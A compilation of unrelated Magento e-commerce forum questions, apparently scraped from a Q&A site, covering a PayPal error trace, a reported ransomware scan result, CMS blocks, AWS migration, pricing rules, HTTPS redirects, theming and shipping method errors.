#0 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Paypal/Model/Api/Nvp.php(1008): Mage_Paypal_Model_Api_Nvp->_handleCallErrors(Array)
#1 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Paypal/Model/Api/Nvp.php(616): Mage_Paypal_Model_Api_Nvp->call('SetExpressCheck...', Array)
#2 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Paypal/Model/Express/Checkout.php(381): Mage_Paypal_Model_Api_Nvp->callSetExpressCheckout()
#3 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Paypal/Controller/Express/Abstract.php(108): Mage_Paypal_Model_Express_Checkout->start('http://magentod...', 'http://magentod...', false)
#4 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Core/Controller/Varien/Action.php(418): Mage_Paypal_Controller_Express_Abstract->startAction()
#5 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(250): Mage_Core_Controller_Varien_Action->dispatch('start')
#6 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Core/Controller/Varien/Front.php(172): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
#7 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Core/Model/App.php(354): Mage_Core_Controller_Varien_Front->dispatch()
#8 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/Mage.php(684): Mage_Core_Model_App->run(Array)
#9 /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/index.php(91): Mage::run('', 'store')
#10 {main}

Since the module is built-in, reinstalling is not an option. What else can I do?


texts:
I scanned my website on magentary.com and I read that it is ransomware infected and there is an adminer unprotected.
How I can find the infection? Where I find adminer on the server?

I launched a clamav scan on the server and I didn't find anything.


texts: Manage Attribute Sets :: How to solve Magento 1.9.2.3 Unassigned Attributes Fields Empty?

texts:
After added new attributes, Unassigned Attributes field is empty, ver Magento 1.9.2.3

Note : What are all the possibilities of error?


texts:
Magento's CMS static block creator automatically trims off extra whitespace, including line breaks. The static block that I'm currently creating is a little close to the element beneath it and I would like to add a line break, but have only managed to do it by adding this at the end:

.

Obviously, this is very hacky and should probably be avoided. What is the proper way to accomplish the effect of a line break in a CMS static block.

I'm sure I can accomplish it by wrapping the whole thing in a class and creating a margin-bottom in CSS, but I think there must be an appropriate way to do this within the static block.

Could anyone point me in the right direction?


texts: Steps for moving or migrating Magento 2 to AWS EC2 and servers versions

texts:
I need to migrate and move a Magento 2.2 store to EC2 on AWS.

Q1- is there a step by step (updated) guide for doing so? most of the googled results are out-dated, non of them mentioned the point in the second questions.

Q2 - Do i have to maintain the same SQL, Apache, PHP ..etc versions on the new server to match the old ones on the older server?


texts: Magento 2: create custom module date picker in admin configuration

texts: How to create custom module date picker in magento 2 system.xml ?


texts:
Working on the categories for a magento homepage for pulling out categories on the main page.

At the moment it pulls all out of the categories out but I want to limit this too 6 categories.

I have tried a few different options and have not been able to get this working correctly.

What would be the best way to apply the limit? I have included code below.

<?php
    $obj = new Mage_Catalog_Block_Navigation();
    $storeCategories = $obj->getStoreCategories();
    Mage::registry('current_category') ? $currentCategoryId = Mage::registry('current_category')->getId() : $currentCategoryId='';
    foreach ($storeCategories as $_category):
?>
        <li class="<?php echo $_category->getName(); ?>">

            <?php $categoryChildren = $_category->getChildren(); ?>
            <?php if($categoryChildren->count()) : ?>

                    <?php foreach($categoryChildren as $_categoryChild) : ?>
                        <?php $_categoryChildModel = Mage::getModel('catalog/category')->load($_categoryChild->getId());?>
                        <?php $categoryGrandchildren=$_categoryChild->getChildren(); ?>
                        <li class="<?php echo $_category->getName(); ?>">
                            <?php
                                $currentCategoryId===$_categoryChild->getId() ? $bold="style=\"font-weight:bold\"" : $bold='';
                                echo '&emsp;' . 'getUrl() . '"' . $bold . '>' .  $_categoryChild->getName() . '' . $_categoryChildModel->getProductCollection() . '';
                            ?>

                        <?php if($categoryGrandchildren->count()) : ?>
                            <?php foreach($categoryGrandchildren as $_categoryGrandchild) : ?>
                                <?php $_categoryGrandchildModel = Mage::getModel('catalog/category')->load($_categoryGrandchild->getId());?>

                                    <?php
                                        $currentCategoryId===$_categoryChild->getId() ? $bold="style=\"font-weight:bold\"" : $bold='';
                                        echo '&emsp;&emsp;' . 'getUrl() . '"' . $bold . '>' .  $_categoryGrandchild->getName() . '(' . $_categoryGrandchildModel->getProductCount() . ')';
                                    ?>

                            <?php endforeach; ?>
                        <?php endif; ?>
                    <?php endforeach; ?>

            <?php endif; ?>

    <?php endforeach ?>


texts: Special price not showing in frontend for an associated product in a configurable product

texts: I've created a configurable product with associated products, one of which is in sale. For some reason, the sales price is not showing in the frontend when going to the product; it still shows the original price. I guess this has something to do with that Magento does not use the price from the simple product. Has anyone faced same issue, is there a feasible way to get it to actually apply the special or does it have to be just edited by hand?


texts: redirect https to http page for normal pages (cms,category,product view)

texts:
we are using https for secure pages.

we can see http for unsecure pages - products and catalog pages.

we can see https for secure pages - My account, Login pages.

But if we manually type https:// for home , catalog & product pages, its redirecting to https only. but i want to redirect to http

below is for m1.
I need for m2.
Anyone have idea how to do this in m2?

redirect https to http for catalog & Product pages


texts: I choosed USD Website but showing a "Your credit card will be charged for..."

texts:
I successfully created 2 website (US and CA). Everything works fine and the currency looks good. I configure everything properly. However when I was testing the US website (all US Dollar) in the checkout page. I see a message below the grand total "Your credit card will be charged for   CA$ 13.00.
When I go to my admin, everything is based on a conversion from CAD to US$. Is this normal?
I also see it on my order confirmation.


texts:
I have recently encountered a very strange situation on the catalog price rules. I am using Magento 1.9.2.2 and have applied a 15% off discount for all products since 1 Jan 2016 and it has been fine. Suddenly three days ago, the discount simply "disappeared" after midnight. And then at around 00:59am, the system notified that the cache of the Blocks HTML Output was invalidated and right after refreshing it, the discount rule works again. (It seems that there is a gap in-between.)

I didn't install any extension in February. The cron, I believe, works fine. I have tried to reapply the discount rule but the problem remains.

I have tried the solution provided by Alexei Yerofeyev (see https://stackoverflow.com/questions/25280095/magento-catalog-price-rule-disappears-at-night). The problem seems to be solved but it re-occured the next mid-night. I have also tried the solution provided by this post (Catalog price rule from today does not apply). The problem remains.

The timezone of my store is GMT (I am not sure about the server time, probably US time...).

I suspect it is a cron problem but I am not sure. Any idea how to fix it? I would be very grateful if this can be fixed!! Thank you very much! (Apology for the ghost-story-like title...)

P.S. Just saw Marius's solution (Catalog price rule stops at midnight). Hope it works!

UPDATE:
I have followed @Bernhard Prange suggestion and installed AOE Scheduler. catalogrule_apply_all and catalog_product_index_price_reindex_all (and others) are shown as "ENABLED" in Available Jobs section. But it is rather strange that both jobs cannot be found in either List or Timeline View (not even under "PENDING"). Is it because the "Cron Expression" of catalogrule_apply_all is 0 1 * * *? Thanks!!


texts: Magento 2 : Top Navigation External Link

texts:
I need to add custom nav link directing to an external site (http://etc)  in my top nav. Admin won't let me do this. Running locally on mac web server.

V 2.0.13 Luma child theme

Thanks


texts: Theming for Magento 2 - Starting from scratch

texts:
Some of you probably read that topic regarding theming from scratch for Magento 1: Theming - starting from scratch

I was wondering, what would be the best practice to develop a theme from scratch for Magento 2 ?

Do you build using the native luma or blank theme ? Or anything else ?
Do you use any extension to help you develop your theme ?
Which steps do you follow when developping a theme from scratch ?


texts: Add to cart button in Reorder sidebar not working

texts:
Code in file app/design/frontend/base/default/template/sales/reorder/sidebar.phtml

<?php $_items = $this->getItems()?>
<?php if($_items): ?>

        <?php echo $this->__('My Orders') ?>

    <form method="post" action="<?php echo $this->getFormActionUrl() ?>" id="reorder-validate-detail">
        <?php echo $this->getBlockHtml('formkey'); ?>

<?php echo $this->__('Last Ordered Items') ?>

            <?php $_showAddButtonFlag = false ?>
            <?php foreach ($_items as $_item): ?>

                    <?php if ($this->isItemAvailableForReorder($_item)): ?>
                        <?php $_showAddButtonFlag = true ?>
                        <input type="checkbox" name="order_items[]" id="reorder-item-<?php echo $_item->getId() ?>" value="<?php echo $_item->getId() ?>" title="<?php echo $this->__('Add to Cart') ?>" class="checkbox validate-one-required-by-name" />

                    <?php endif; ?>

<a href="<?php echo $_item->getProduct()->getProductUrl() ?>"><?php echo $this->escapeHtml($_item->getName()) ?>

            <?php endforeach; ?>

                <?php if ($_showAddButtonFlag): ?>
                    <button type="submit" title="<?php echo $this->__('Add to Cart') ?>" class="button btn-cart"><?php echo $this->__('Add to Cart') ?></button>
                <?php endif; ?>
                <a href="<?php echo $this->getUrl('customer/account') ?>"><?php echo $this->__('View All'); ?>

    </form>

<?php echo $this->getPagerHtml(); ?>

<?php endif ?>

I tried changing code

<button type="submit" title="<?php echo $this->__('Add to Cart') ?>" class="button btn-cart"><?php echo $this->__('Add to Cart') ?></button>

to

<input type="submit" title="<?php echo $this->__('Add to Cart') ?>" class="button btn-cart" value="<?php echo $this->__('Add to Cart') ?>" />

But when I am looking in firebug my changed code is looking like below

<input type="submit" value="Add to Cart" class="button btn-cart" title="Add to Cart">

input tag is not closed.
When I am editing my code in firebug, it starts working.
I am not getting what's the issue here.
Please help me in fixing this issue.
Any help would be appreciated.


texts: Forms stop working after start using HTTPS

texts:
All forms of my store stopped working after base url(secure and insecure) was changed to use https.

E.g.:
Login stops on blank page [base_url]/account/loginPost/referer/[form_key]
OR
Reload the page and present no errors.

Through chrome inspector, I can see two requisitions, one using POST method and the other using GET method.

Anyone know something about that?

Ps: cache disabled


texts:
I am new to Magento.Most of the learning stuff in the web deals with the older versions.What I am trying to do is to add  custom web pages with the navigation buttons in the main menu via cms.
I am doing this:

Go to Content - > Pages -> Add New Page.Under the "Page information" tab I set  a name for "Url key".Let's call it "aboutus" (for about us page)
Go to Products -> Categories. Click "Add subcategory" an under "General Information" I write "aboutus" in the "Url key" field.

The button appears in the navigation panel,but when I press it, it doesn't take me to the page I created.At least that's how it looks like, because I don't see the content I wrote but just this text:

  Compare Products

  You have no items to compare.

  My Wish List

  You have no items in your wish list.

So my question is what I do wrong and is it even possible to create completely custom pages via the admin system.

Using Magento 2.0.7


texts: Magento 2 FEDEX/DHL/USPS/UPS Exception. "This shipping method is currently unavailable."

texts:
I tried it through a custom shipping module and its readily showing up but Fedex/DHL/USPS/UPS are throwing exceptions on Checkout page..

Exception : "This shipping method is currently unavailable. If you would like to ship using this shipping method, please contact us."

Help is really appreciated :) Thanks..